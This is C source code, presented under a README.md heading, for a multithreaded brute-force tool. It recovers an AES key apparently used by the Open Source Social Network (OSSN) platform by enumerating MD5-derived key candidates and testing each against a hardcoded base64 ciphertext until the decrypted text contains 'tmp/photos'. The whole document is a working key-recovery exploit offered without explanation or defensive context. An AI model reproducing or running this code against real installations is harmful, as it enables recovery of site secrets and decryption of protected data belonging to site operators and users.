README.md
Rendering markdown...
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <openssl/md5.h>
#include <unistd.h>
#include "base64/base64.h"
#include "tiny-AES-c/aes.h"
#define IV_LENGTH 16
#define KEY_LENGTH 16
#define CIPHERTEXT_LENGTH 1024
#define SUBSTR_START 3
#define SUBSTR_LENGTH 8
struct generator_args {
long min;
long max;
};
pthread_mutex_t lock;
int attempts_per_second = 0;
int key_found = 0;
unsigned char iv[IV_LENGTH];
unsigned char ciphertext[CIPHERTEXT_LENGTH];
const char *encrypted_blob = "j6B0RXNQYc0fDymm7hrkLODhEFgxV6HlXsY4qVndNkRyhQjCY98huD6i2t30X2Uh";
unsigned char* build_cycled_key(char* key) {
unsigned char *cycled_key = malloc(KEY_LENGTH + 1);
memset(cycled_key, 0, KEY_LENGTH + 1);
while (strlen(cycled_key) < KEY_LENGTH) {
int concat_size = KEY_LENGTH - strlen(cycled_key);
if (concat_size > strlen(key)) {
concat_size = strlen(key);
}
strncat(cycled_key, key, concat_size);
}
return cycled_key;
}
void *test_attempt(void *args) {
pthread_mutex_lock(&lock);
attempts_per_second++;
pthread_mutex_unlock(&lock);
unsigned char *key = build_cycled_key((char *)args);
unsigned char buffer[CIPHERTEXT_LENGTH];
struct AES_ctx ctx;
strcpy(buffer, ciphertext);
AES_init_ctx_iv(&ctx, key, iv);
AES_CBC_decrypt_buffer(&ctx, buffer, strlen(buffer));
if (strstr(buffer, "tmp/photos") != NULL) {
printf("Key found: %s Message: %s\n", key, buffer);
pthread_mutex_lock(&lock);
key_found = 1;
pthread_mutex_unlock(&lock);
}
free(key);
free(args);
}
void *attempt_generator(void *arguments) {
struct generator_args *args = malloc(sizeof(struct generator_args));
args = arguments;
pthread_t threads[5000];
int thread_index = 0;
for (long i = args->min; i <= args->max; i++) {
if (key_found) {
return;
}
char *string = malloc(256);
unsigned char hash[MD5_DIGEST_LENGTH];
char *attempt = malloc(SUBSTR_LENGTH + 1);
char *hash_hex = malloc(32);
memset(string, 0, 256);
memset(attempt, 0, SUBSTR_LENGTH + 1);
memset(hash_hex, 0, 32);
sprintf(string, "ossn%ld", i);
MD5(string, strlen(string), hash);
for (int j = 0; j < MD5_DIGEST_LENGTH; j++) {
hash_hex += sprintf(hash_hex, "%02x", hash[j]);
}
hash_hex -= 32;
strncpy(attempt, hash_hex + SUBSTR_START, SUBSTR_LENGTH);
pthread_create(&threads[thread_index], NULL, test_attempt, attempt);
if (thread_index == 4999) {
for (int j = 0; j < sizeof(threads) / sizeof(threads[0]); j++) {
pthread_join(threads[j], NULL);
}
thread_index = 0;
} else {
thread_index++;
}
free(string);
free(hash_hex);
}
for (int i = 0; i < sizeof(threads) / sizeof(threads[0]); i++) {
pthread_join(threads[i], NULL);
if (key_found) {
return;
}
}
}
void *progress_thread() {
time_t base_time = time(NULL);
while (1) {
if (key_found) {
return;
} else if (difftime(time(NULL), base_time) >= 1.0) {
printf("Attempts per second: %d\n", attempts_per_second);
base_time = time(NULL);
pthread_mutex_lock(&lock);
attempts_per_second = 0;
pthread_mutex_unlock(&lock);
} else {
usleep(100 * 1000);
}
}
}
void extract_iv_ciphertext() {
unsigned char decoded_blob[strlen(encrypted_blob)];
b64_decode(encrypted_blob, strlen(encrypted_blob), decoded_blob);
strncpy(iv, decoded_blob, IV_LENGTH);
strcpy(ciphertext, decoded_blob + IV_LENGTH);
}
void start_generators(long max_value, int thread_count) {
pthread_t threads[thread_count];
struct generator_args args[thread_count];
while (max_value % thread_count != 0) {
max_value++;
}
for (int i = 0; i < thread_count; i++) {
args[i].max = (max_value / thread_count) * (i + 1);
args[i].min = (max_value / thread_count) * i;
if (args[i].min > 0) {
args[i].min++;
}
pthread_create(&threads[i], NULL, attempt_generator, &args[i]);
}
for (int i = 0; i < thread_count; i++) {
pthread_join(threads[i], NULL);
}
}
int main() {
setbuf(stdout, NULL);
time_t start_time = time(NULL);
pthread_t progress_monitor;
pthread_create(&progress_monitor, NULL, progress_thread, NULL);
extract_iv_ciphertext();
start_generators(2147483647, 4);
pthread_join(progress_monitor, NULL);
printf("Time taken: %f\n", difftime(time(NULL), start_time));
return 0;
}